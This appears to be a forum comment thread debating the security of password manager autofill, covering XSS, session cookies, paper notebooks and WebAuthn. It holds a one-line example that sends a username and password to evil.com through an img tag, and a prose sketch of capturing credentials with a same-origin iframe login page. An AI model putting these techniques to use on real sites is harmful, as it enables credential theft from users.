Autofill in password managers can allow login credentials to be stolen
marektoth.com
marektoth.com
If some site has an XSS vulnerability, then they've already got access to my session cookies, and have the ability to spoof a "you've been logged out, please log back in" screen where people could type in a password anyways.
If a site is vulnerable to XSS it's basically game over security-wise. Asking browsers and password managers not to autofill feels more like security theater at that point.
That being said, the browsers and password managers that require the username and password fields to actually be genuinely visible to the user on top, non-transparent, in the viewport, are doing the right commonsense thing, and really that seems entirely good enough.
(Obviously if you're a political dissident or a target of suspected corporate espionage or something then you'll take greater security precautions like not using a password manager at all for certain accounts -- I'm just talking about normal users here.)
Hit it when logging in to HN. It will populate both the set of fields you've highlighted (login) as well as the other set on the page (register). If there were a third, hidden, injected set of fields controlled by an attacker, those would be filled too.
The old security-convenience trade-off is an immutable law of the Universe.
i would have thought that most browser autofill extensions would be designed to only fill in details once, but who knows
I'm not so sure. I type many fewer passwords now that I switched from reusing the same password for everything to using a password manager. I went from 60 bits of entropy to over 100 and when my single password got compromised it also compromised every account. Now I type a password once when I unlock a PC and use Face ID to unlock the database on my phone. On the whole things are much more convenient and secure. It was just very inconvenient to touch every account I own.
Rather than a hard and fast rule of the universe, the trade-off assumes a lot of things, such as users are trying to be secure with a specific range of effort.
Exactly. It doesn't matter if the manager inputs it for you or you input it yourself. The only case where I see it strictly worse is in pages that require an extra password input while already logged in for modifying sensitive info/settings.
Not true if the website uses HttpOnly session cookies as they should.
They can also set up a keylogger or fake login screen and wait for you to type or paste in your password yourself.
I've always thought HttpOnly cookie flag is overrated. Stealing the session cookie may be the easiest attack but it's hardly the only.
Another reply seems to have focused on having XSS causing an attacker to gain access to session cookies. But no one has mentioned using Content-Security-Policy [0] - which if set properly can make it nearly impossible to exploit an XSS vulnerability in the first place.
which far, far too many apps do.
There are many ways, but one particularly undetectable one would be to clear cookies and local-storage (causing the user to be logged out). Then use the history API to change the URL to the login page, and finally load the real login page in a full-screen iframe. Since the iframe contents are on the same domain, you can just reach in an extract the username & password fields as the user enters them.
Depending on the nature of the site, it's possible it won't even stand out as odd even if it loads a login control at a non-"login" URL.
If an attacker leverages an XSS they can exactly replicate the login page, URL and all, only limited by payload size and modern protections like CSP.
If an XSS vulnerability appears on some other page, it may not be the same page that normally has a login form.
Generally I'd say the gates are kinda open if XSS is possible, but many real exploits do require more than 1 vulnerability working together; so defense in depth applies.
The OP is on the other side of the airtight hatch already.
(This does require said login page to be on the same origin. But even if the attacker just ignores that, and otherwise mimics the page as closely as possible, would you notice? Heck, even if you moved it to just being in the same page without the URL change, as long as the branding was close enough, I bet most folks would go "uh, the UI changed again" not "uh oh! it's not on a secure subdomain!". Let's hope your password manager notices. But even then, I suspect that most of them would just not autofill, and a confused user would manually fill, wondering what happened.)
If an attacker is able to run any code they want anywhere along the way it's effectively game over, autofill or not.
I am hesitant about recommending a password manager to the tech illiterate simply because one piece of malware could compromise the entire vault. In that respect, a sticky note is arguably more secure than a tech illiterate person using a password manager.
Also, I have my usual criticism of client-side browser encryption. Anyone who has the technical ability to compromise a cloud-based service can likely take it a step further and modify JavaScript files enabling total vault compromise. There is no easy way for a user to mitigate this risk.
Password managers must be a stop-gap measure only until webauthn is more widely deployed. I long for the day when phone-based webauthn keys are the norm, and I can stop fielding questions about password managers from friends and family.
The complexity probably warrants some sort of embedded microservice arch, like microK8S.
I'm a fan of Zettlekasten for notetaking and knowledge management.
Filing passwords on index cards or business cards (3.5x2 in, ~9x5cm), with a sensible indexing system, scales up reasonably well. There's certainly extant physical infrastructure.
The typical person has on the order of about 100 online accounts. Managing even 1,000 accounts in an index card file is at least within reason.
Another alternative is a GPG-encrypted file, though keeping that synchronised between multiple locations might prove a challenge.
What's the difference between what you're suggesting here and a password manager? Enxrypted local file, with an optional sync service. I know that if I was setting up my own password manager for security reasons, the sync part is likely the most vulnerable, hence why I would like to offload that to a third party that I trust.
[0] https://bitwarden.com/help/article/what-encryption-is-used/
The ability to port to any alternative tools that provide superior capabilities, should the need arise.
Utilising the file using standard shell tools (gpg piped to grep, sed, awk, etc.).
I've been around long enough to see multiple tools come and go. Even PGP itself dates from after the beginning of my professional career with computers (though near the beginning). There are multiple applications, operating systems, and architectures I've used which have been relegated to the dustbin of history. I'm quite leery of becoming dependent on any one specific application or tool, most especially one that that's not been proven across multiple decades and widely adopted.
PGP, GPG, vi/vim, or emacs would all pass my tests. They're available on any system I could conceivably use. Even iOS, though with some difficulty.
Encrypting and syncing a file is simple.
Managing syncs from multiple locations of an encrypted file is ... a bit more complicated. Git might be able to manage that with some hooks.
Sticky notes suck because people leave them in plain sight. A notebook is a totally reasonable way for a non-technical person to track passwords securely.
I do this, even though I'm a "technical" person. I do it because I use unique passwords for almost every site I visit.
The notebook never leaves the house, but what if I have a fire? I remember a few passwords, but most of them "poof, gone".
My reckless behavior reminds me of this commercial parody on SNL, long ago:
- A Tradition of Security -
We will make a list of our clients and how much money each of them has given us to invest. We will keep this list in a safe place. If we have time we will make a copy of the list in case something happens to the first list.
What percentage of people use a password manager? I think on iOS/macOS it's pretty high because Safari offers to save them, but what about non-technical users in general?
As to why I don't use a password manager, I think that the probability of some bug or hack or whatever of the password manager, which would lead to all my passwords being compromised, is greater than the probability of my house burning down.
Do I really want to trust Firefox with all my passwords? Do I really want to trust Google with all my passwords? (Fuck no!) Do I really want to trust some random password manager with all my passwords?
The smart thing to do, which I unfortunately don't, is to memorize a handful of passwords and use a password manager for the rest. E.g. remember bank password, use a password manager for Chipotle and Five Guys.
There are options like KeePass or Bitwarden that allow you to store your own database file wherever you see fit or self host, respectively.
> The smart thing to do, which I unfortunately don't, is to memorize a handful of passwords and use a password manager for the rest. E.g. remember bank password, use a password manager for Chipotle and Five Guys.
This is the way that I mitigate risk as well. My email password is not present in the db, nor is my checking.
I’ve sometimes wondered if that would be a useful security scheme. Using email as a de facto pw manager. Memorize your email pw. Use the password reset feature on your critical sites. It would be enormously inconvenient. But it would mean your passwords are never written down and never stored in a pw manager’s database.
Seems like that would make things more secure, but I’m probably overlooking something.
I think some people don't make any real effort to keep track of their passwords, and so reset via email is kind of common.
But what if you're Sarah Palin, governor of some out-of-the-way state (pop. 736,000). Suddenly you're thrust into the spotlight as a VP candidate.
Sucks for her that Yahoo's password reset questions at the time were simple: The Yahoo! account's password could be reset using shared secret questions including "where did you meet your spouse?" along with the date of birth and ZIP code of the former governor to which answers were easily available online.
https://en.wikipedia.org/wiki/Knowledge-based_authentication
Can you trust your email provider not to let your account get "stolen" from you?
I think having a discussion like this on HN is great. It gives people an opportunity to re-evaluate their current procedures.
I beg to differ. A piece of paper can easily be found by someone. Much easier than hacking a password manager. Unless you're storing that piece of paper in a safe, it's not secure. The only advantage of paper is that it's not exploitable remotely.
A piece of paper in a locked drawer is potentially accessible to a person breaking into it. It is probably an unsophisticated burglar looking for money. They are probably located in the vicinity of your neighbourhood and have rocked up to your home, and will not evade capture for long. They will likely leave DNA. If they decide to swipe your notebook, it will be immediately apparent you have been compromised, as your drawer is open and your notebook open or missing. Your notebook may be looked at momentarily, perhaps passed to one or two people, more likely, it will be thrown into a gutter as soon as the burglar realises it has no money in it, or just left untouched.
A password in a locked password manager is potentially accessible to a person breaking into it. It is probably a sophisticated cyberattacker looking for credentials. They are probably located overseas and have remotely connected to your home network, and will evade capture. They will leave no trace. If they decide to compromise your vault, it may not be immediately apparent you have been compromised, as your password manager is still there. Your vault will be scrutinised intensely, and your credentials will be sold to many others on a darknet forum.
I know which I'd rather.
I'm just a person on the internet, so my threat model may be different to yours, but my threat model is for the most part phishing, social engineering, data breaches, and the likes. The majority of these are fixed by password autofill (for the most part)
It is probably the script of a sophisticated cyberattacker leveraging some vulnerability for looking for credentials of thousands of people at once. Yes, the burglar is a total non-threat by comparison (unless they happen to be working for your very personal enemy intelligence agency)
Good security practice would add a memorized element to the stored passwords as an informal second factor. Are there password managers that have good support for that when auto-filling and updating?
>They are probably located in the vicinity of your neighbourhood and have rocked up to your home, and will not evade capture for long. They will likely leave DNA
Did you get that from CSI: Miami? Nobody is gonna collect DNA samples just because some stuff went missing in your home. The cops will file a report and tell you to file an insurance claim.
Australian here. When my house was broken into Police forensics came that afternoon and fingerprint dusted all points of entry and lifted prints. Do they not do this in your jurisdiction? I have just realised DNA is probably poor shorthand for that.
I guess it all depends on where your risk/convenience preference. I would say just like the best camera is the one you have with you, the best way of storing passwords is the one you are willing to use. Perhaps pen and paper in a safe is the best way, but if that means insecure easy passwords are used for many sites I guess password managers are better.
The real threat of course is that you'll definitely not remember yourself (because you only use it for that one ring master password which you never use)
This should help alleviate some of the worst password manager risks.
Or say you have a FIDO 2 Security Key from Yubico. As well as the features of the cheaper FIDO 1 Security Key products, this has a PIN verifier. The PIN is something you know, while the Security Key itself is something you have, so that's two factors, once again the UV bitflag is signed.
It's simpler, it's easier, it's more secure. And yet, right now I bet an HN reader is implementing yet another shitty SMS-as-2FA hack and we're still in a thread about remote authenticating with passwords - an idea that was already terrible in the 1970s.
If your threat model is "People fully compromised my phone" then you should definitely not rely on the phone in the face of that.
Recommended if storing 2FA codes in a password manager is to use 2FA for the password manager that isn't stored in the password manager. Off the top of my head, that doesn't seem to really open up any additional risks over storing 2FA passwords outside of the password manager.
Personally, it's a matter of practicality - I use my phone for personal 2FA codes, but don't have a work-provided phone and am not going to use my personal phone for work purposes - and as many services now require 2FA, it's easiest to store those 2FA codes in my work-provided password manager.
The problem is most profound with tech illiterate folk. If you have tried to teach a tech illiterate person how to use a password manager (as I have), you may have encountered the issue that 'autofill' isn't 100% accurate. You will occasionally hit a subdomain or alternative domain which using the same credentials as the saved website (eg amazon.co.uk vs amazon.com). It will appear that no credentials are available for that site. Therefore, you usually have to teach the person how to manually search the vault and either fill manually, or copy and paste credentials. Otherwise, you can expect phone calls for support. And, of course, the original article actually suggests disabling automatic autofill. It suggests filling manually, further opening up the possibility of mistakenly filling onto a dodgy domain. As soon as you teach them a workaround to deal with this case, the phishing vector is basically no different to a post-it.
This problem might also apply to a tired, tech literate person, who mindlessly fills manually or copies credentials without checking the domain.
In either case, we fall back to Google Safe Browsing doing its job properly, and await solid anti-phishing solutions like FIDO2/webauthn.
I don't know if alerting the user that something is wrong could be described as "marginal" for phishing attacks.
Sure, they may still make the bad decision but it might seem odd to them that their password manager didn't offer to fill it in for the site and get them to start looking around and double checking things.
-
"Autofill can be 2 types: automatic autofill (autofilling a password without user interaction) and manual autofill (autofilling a password after some user interaction - clicking in the password manager's UI). In the following article, the term autofill always means automatic autofill."
-
When we designed the SaaS Paas password manager we opted for the manual autofill as it requires intent and thus mitigates against many of the highlighted attack vectors that come with "automatic autofill." In addition, the password manager extension has a session timeout and has no static master password at (mitigating against replay attacks). You can only unlock the browser extension with passwordless MFA. The added advantage of this is that you can share your browser comfortably with others.
NB: worked on balancing usability and 2fa security.
The article does looks at how password managers autofill on different levels of subdomains, which is relevant to my point above - a hijacked subdomain would be a problem for many of the password managers he tested.
edit: I think I understand. My first point doesn't show that automatic autofill is better than manual, because both methods will raise red flags. I.e. this isn't a reason to choose automatic over manual autofill. I think this is a fair point.
I do think that both autofill methods have an advantage over simple copy/paste, especially given the XSS discussion in other threads here.
Thanks to AJAX, sites can get text entry immediately.
I remember a guy telling me about a store site he went to, and started to fill out the credit card form, but never completed the purchase. He never hit "BUY."
They charged his card anyway.
This was 5+ years ago, I assume it's been since changed for the better.
The only action that needs to be taken by the browser or password manager is to specifically avoid autofilling multiple accounts. THAT is the problem here, not autofill itself.
I'm quite aware of this ever since Samsung/Android started adding a whole interface for the clipboard and added integration with the keyboard (it shows some codes in the clipboard sometimes so you can quickly paste). Can the clipboard be accessed from other apps in the background? Probably?
So what? What am I missing?
How will he exfiltrate the data? With JS that posts it to another domain?
Exactly. Alternatively, you can also use embeds, for example `<img src="https://evil.com/$user/$password" >`.
If you have your code running and the credentials, exfiltration is no longer a problem.
Imagine you're Facebook and you want to track your users on non-Facebook sites. Traditionally, this would be done with some iframe-embedded widget and 3rd-party cookies. But browsers are increasingly phasing out 3rd-party cookies, so that won't work anymore in the near future.
As an alternative, the widget could embed a username and password field. When the browser autofills the field, a script sends the credentials to Facebook, along with the site's URL. The account can be linked up without any cookies involved.
(This makes some assumptions I haven't verified: That autofill works in 3rd-party iframes and that the user gesture can be outside the iframe)
In more limited scope, this works for first-party cookies as well: If you logged out of a site and cleared your cookies, the site could use the autofilled credentials to associate your guest session with your account even without you actively logging in.
finally the bliss i had with lastpass before i was forced to move to bitwarden.
https://i.pinimg.com/originals/cb/14/5d/cb145d466f1958ec101f...
To Downvoters: So in the PoC [0] with the default settings the author is completely wrong about their findings? even if you 'manually' autofill in the fields?
So you are saying that the password DOESN'T get extracted out of Bitwarden from a different subdomain than where the login data was stored on by default then?
[1]: https://bitwarden.com/help/article/uri-match-detection/#matc...
This is the point parent and the source article are making. Not whether or not it’s possible to be configured more securely.
> Autofill can be 2 types: automatic autofill (autofilling a password without user interaction) and manual autofill (autofilling a password after some user interaction - clicking in the password manager's UI). In the following article, the term autofill always means automatic autofill.
The real issue is if attackers can trick the autofill to fill in a password for a different site. I did a pentest for a password manager a few years ago, and if I remember correctly this type of exploit had been successful against multiple of the big password managers.
It's not dosens but hundreds, and it is impossible if the passwords are secure. The article may have good information, but the advice of turning off autofill and going back to remembering passwords is terrible.
This is my password manager now and going to replace LastPass once above mentioned featured arrived
Never seen an explanation of any of the pwd managers and am curious.
So pick your poison. Passwords suck, and you're vulnerable no matter how you approach them. Best you can do is 2FA or biometrics, and even that's not perfect either.
Public machines without sandboxed user sessions seem largely uworkable in the first place - does anywhere actually do that? (I've never been to a library, school/university or workplace that does.)
By the way, are you under the impression that most internet cafes scrub the browser autofill data once a paid user logs out, or that it isn't collected by the time apportionment software in places like China or Vietnam?
If the devices are all under company control, I suppose they could still turn off auto fill. But in a big company that’s a lot of devices and probably comes out of another department’s budget. Then the auto fill behaviour becomes the web app’s problem, despite being a browser behaviour.
Note all of those edge cases are on computers that should have Auto-fill disabled as part of an IT policy.
Modern operating systems and browsers seem like they’d have all kinds of pain points if they’re used by multiple users.
there is your copy paste history in plain text.